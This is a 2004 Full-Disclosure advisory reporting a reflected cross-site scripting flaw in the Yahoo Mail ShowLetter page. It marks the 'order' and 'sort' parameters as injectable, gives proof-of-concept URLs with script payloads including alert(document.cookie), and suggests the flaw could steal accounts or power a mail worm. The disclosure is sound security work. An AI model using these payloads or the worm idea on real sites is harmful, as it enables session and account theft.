Yahoo Mail! - Cross Site Scripting

["Rafel Ivgi, The-Insider" <theinsider () 012 net il>]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    Yahoo Mail!
Vendors:          http://www.yahoo.com
Platforms:        WebMail
Bug:                  Cross Site Scripting
Risk:                 High - Stealing Accounts
Exploitation:    Remote with browser
Date:                9 Mar 2004
Author:             Rafel Ivgi, The-Insider
e-mail:              the_insider () mail com
web:                 http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Yahoo is one of the world's best and most common free webmail vendor.
Yahoo mail is very reliable, safe and fast. It also allows secure
connections(SSL)
when checking mail.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Upon login to yahoo mail and checking your mail box you will see your new
mail.
Choose any of your mail and click on it. Now you will se the address bar is
similar to:
http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=96862&inc=25&order=down&sort=date&pos=0&view=a&head=b&box=Inbox

Now lets inspect yahoo's protection on each one of this fields:
----------------------------------------------------------------------------
--------
MsgId=3308_151647_1069_1720_553_0_917_-1_0 --> this field's content doesn't
really matter, whats important is that it is numeric  and with the correct
syntax.
YY=96862 --> safe
inc=25 --> safe
order=down"><script>alert('xss')</script> -->XSS !!!
sort=date"><script>alert('xss')</script> -->XSS !!!
pos=0 --> safe
view=a --> safe
head=b --> safe
box=Inbox --> safe

So pressing/browsing to one of this links(while logged on, or while cookie
saved
the username and password) A script will be injected and the account can be
stolen.
http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=96862&inc=25&order=down";><script>alert('This
can be your cookie')</script>&sort=date&pos=0&view=a&head=b&box=Inbox
http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=92552&inc=25&order=down&sort=date";><script>alert(document.cookie)</script>&pos=0&view=a&head=b&box=Inbox

Who is Vulnerable:
-------------------------
Any user that checked the "Remember my ID on this computer" checkbox is
vulnerable
for this Cross Site Scripting attack. Also any user who checks his email and
press a
link that was inside an email that uses this XSS, therefore a worm can be
created that
will send mails to all possible accounts on yahoo and will use the XSS to
steal the accounts.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=96862&inc=25&order=down";><script>alert('This
can be your cookie')</script>&sort=date&pos=0&view=a&head=b&box=Inbox
http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_0_917_-1_0&YY=92552&inc=25&order=down&sort=date";><script>alert(document.cookie)</script>&pos=0&view=a&head=b&box=Inbox

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- 
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html